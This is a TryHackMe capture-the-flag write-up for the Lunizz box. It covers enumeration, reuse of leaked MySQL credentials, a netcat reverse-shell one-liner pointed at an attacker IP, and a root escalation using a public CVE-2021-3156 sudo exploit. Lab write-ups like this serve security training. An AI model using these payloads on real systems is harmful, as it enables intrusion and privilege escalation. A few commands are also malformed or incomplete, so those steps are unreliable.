TryHackMe Lunizz CTF Writeup
This writeup will help you solve the Lunizz CTF box on TryHackMe. Before we start enumerating the box, add the following line to your /etc/hosts file.
echo "<box_ip> lunizz.thm" >> /etc/hosts
TryHackMe Lunizz CTF – Enumeration
We start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.
nmap -sV -sC lunizz.thm
The output of the scan can be seen below:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f8:08:db:be:ed:80:d1:ef:a4:b0:a9:e8:2d:e2:dc:ee (RSA) | 256 79:01:d6:df:8b:0a:6e:ad:b7:d8:59:9a:94:0a:09:7a (ECDSA) |_ 256 b1:a9:ef:bb:7e:5b:01:cd:4c:8e:6b:bf:56:5d:a7:f4 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 3306/tcp open mysql MySQL 5.7.32-0ubuntu0.18.04.1 | mysql-info: | Protocol: 10 | Version: 5.7.32-0ubuntu0.18.04.1 | Thread ID: 4 | Capabilities flags: 65535 | Some Capabilities: Support41Auth, FoundRows, Speaks41ProtocolNew, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongPassword, ConnectWithDatabase, ODBCClient, SupportsTransactions, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, LongColumnFlag, Speaks41ProtocolOld, InteractiveClient, DontAllowDatabaseTableColumn, SupportsCompression, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins | Status: Autocommit | Salt: z\x1D2D2\x19qL\x1CLiNnP(O)Y | \x04 |_ Auth Plugin Name: mysql_native_password 4444/tcp open tcpwrapped 5000/tcp open tcpwrapped Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are 5 open ports to the server. Port 22 serves for SSH, port 80 is serving an Apache web server, port 3306 serves a MySQL database, and ports 4444 and 5000 are open, but we do not know their use just yet. Let’s first start by enumerating the web server on port 80. Browse to: http://lunizz.thm/ to find the following website.

Nothing that stands out here. Let’s run gobuster to find hidden files and directories on the server.
gobuster dir -u http://lunizz.thm/ -w /usr/share/wordlists/common.txt -x txt
The outcome of this scan is listed below:
/.hta (Status: 403) /.hta.txt (Status: 403) /.htaccess (Status: 403) /.htaccess.txt (Status: 403) /.htpasswd (Status: 403) /.htpasswd.txt (Status: 403) /hidden (Status: 301) /index.php (Status: 200) /instructions.txt (Status: 200) /server-status (Status: 403) /whatever (Status: 301)
This scan found some promising files and directories. For now, let’s check the whatever directory. Browse to: http://lunizz.thm/whatever/ to find the following page:

This input field seems like the holy grail because, in case we can execute all commands, we could spawn a reverse shell from here. However, we are not allowed to execute commands on the server. Let’s remember the existence of this executer for now.
Let’s now check the contents of the instructions.txt file.
Made By CTF_SCRIPTS_CAVE (not real) Thanks for installing our ctf script #Steps - Create a mysql user (runcheck:<REDACTED>) - Change necessary lines of config.php file Done you can start using ctf script #Notes please do not use default creds (IT'S DANGEROUS) <<<<<<<<<---------------------------- READ THIS LINE PLEASE
This file contains some MySQL credentials. Now we have check if we can log on to the MySQL database server using these credentials. To do so, run:
mysql -h lunizz.thm -u runcheck -p
Provide the password found in the instructions.txt, and we are in the database server!
TryHackMe Lunizz CTF - Exploring the Database
By running the command: show databases;, we find out that there is a runornot database. Let's explore this database by running: use runornot;. Within this database, we find a single table called: runcheck. Let's find out what's inside this table by running: select * from runcheck;. The output is listed below:
+------+ | run | +------+ | 0 | +------+
There is a single row within this table containing the value 0 for the run column. Let's change this value to 1. Do so by running:
update runcheck set run=1 where run=0;
If all went well, you should see the value change to 1. Verify by running: select * from runcheck again.
+------+ | run | +------+ | 1 | +------+
We successfully updated the database. It seems we have enabled a flag that lets us execute commands on the server. A command execution input resides at: http://lunizz.thm/whatever/index.php. Let's try to run the command whoami. The output is listed below:
www-data
Changing the flag value of run in the database makes us execute commands on the server. Run the following command on your local attacking machine:
nc -lvnp 9001
Provide the following payload in the input field:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING_IP> 9001 >/tmp/f
You should now see a shell appear in the listening terminal. Run the following commands to improve your shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
CTRL+Z
stty raw -echo;fg
ENTER
ENTER
Note: The capitalized words are keyboard combinations.
TryHackMe Linuzz CTF – User/Root Flag
Now that we have obtained a shell to the server, let’s try to find the user.txt flag. First, run sudo --version. You should now see the following output:
Sudo version 1.8.21p2 Sudoers policy plugin version 1.8.21p2 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.21p2
It seems like this version of sudo is vulnerable to the CVE-2021-3156 vulnerability. This exploit abuses all sudo versions lower than version 1.8.31. This vulnerability gives you root privileges right away! We should also check which Ubuntu version is installed by running: lsb_release -a. Running this command should give you the following output:
Distributor ID: Ubuntu Description: Ubuntu 18.04.5 LTS Release: 18.04 Codename: bionic
Now that we know this box is vulnerable to CVE-2021-3156, let’s try to run an exploit! I found a script on GitHub that exploits the vulnerability mentioned above. Run the following code:
git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156/ tar - cvzf obz.tar.gz CVE-2021-3156/ python3 -m http.server
Then on the box run:
tar -xvzf obz.tar.gz make ./sudo-hax-me-a-sandwich
The help output is listed below
available targets:
------------------------------------------------------------
0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------
We are running on Ubuntu 18.04 with sudo version 1.8.21. That is why we have to run the 0 option. Do so by running:
./sudo-hax-me-a-sandwich 0
A root shell should spawn now. Improve your shell by running:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
The root.txt flag is located at /root/root.txt. The user.txt flag is located at /home/adam/user.txt.
This box was different from other boxes I have rooted before. The questions were a bit misleading since we exploited a vulnerability instead of brute-forcing. In the end, the CVE-2021-3156 vulnerability helped us root the box.




